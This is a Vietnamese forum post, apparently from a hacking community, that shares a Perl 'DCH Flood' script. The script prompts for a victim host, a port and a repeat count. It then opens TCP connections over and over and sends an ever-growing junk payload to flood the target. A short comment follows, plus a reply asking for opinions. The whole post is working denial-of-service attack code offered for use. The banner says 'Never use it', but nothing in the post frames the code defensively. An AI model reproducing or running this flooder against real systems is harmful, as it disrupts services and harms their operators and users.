DCH Flood Perl version 1.0 --------------------------------------------------------------------------------Code:#!/usr/bin/perl################################################## ##### Dinhcaohack DdOs 1.0# Written by Dinhcaohack # Develop (TCP Flooder////Apache Flooder)'s mind# UK - Manchester 15/05/2006 ... sad night################################################## ####use IO::Socket;print "Ke thu`:\n> ";$victim = <STDIN>; chop ($victim); if ($victim eq "") { die "Sai roai`!\n"; } print "Enter Port to flood :\n> "; $port = <STDIN>; chop ($port); if ($port eq "") { die "Sai roai`!\n"; } print "Enter times to F*** (more than 1000):\n> "; $loop = <STDIN>; chop ($loop); if ($loop eq "") { die "Invalid Input!\n"; } $dch = "Dinhcaohack";print "[+] Kie^?m tra su. to^`n ta.i cua? victim ...\n"; $string = inet_aton($victim) || die "[+] Host kho^ng to^n` tai. or not connect to the Internet...?\n"; # Kho^ng dung` -w option trong ca^u le^.nh perl print "[+] Ok. $target to^n` ta.i ...\n"; print "[+] Connecting to $victim voi' $port...\n"; print " +============================+\n";;print " | DinhcaohaKCoolAttacker v1.0|\n";print " | Written By DinhcaohaK |\n";print " | Never use it ... |\n";print " +============================+\n";;$n = "99999";die "Cannot Connect .. try again\n" if !$n;print "Connecting...\n\n";for ($i = 0; $i <= $loop; $i++){$socket = IO::Socket::INET->new(PeerAddr => $victim, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die "Socket error.\n";$typeattack .= $dch x $n;print "Attacking...";print $socket "$typeattack\n";print "OK\n\n";close($socket);print "Sending request $i\n";$sox = IO::Socket::INET->new(Proto=>"tcp",PeerPort=>"$port",PeerAddr=>"$victim");sleep 1;print $sox $request;sleep 1;close $sox;};print "\n\n";print " Demo ver. ";exit;Hic, share xong roài mà anh em dùng nghịch lung tung là DCH bùn lắm nhádinhcaohack(VNISS)
Có lẽ tạm thời thế đã, tôi cũng không có bình luận gì thêm. Các bạn nghĩ thế nào ? DCH nghĩ thế nào ?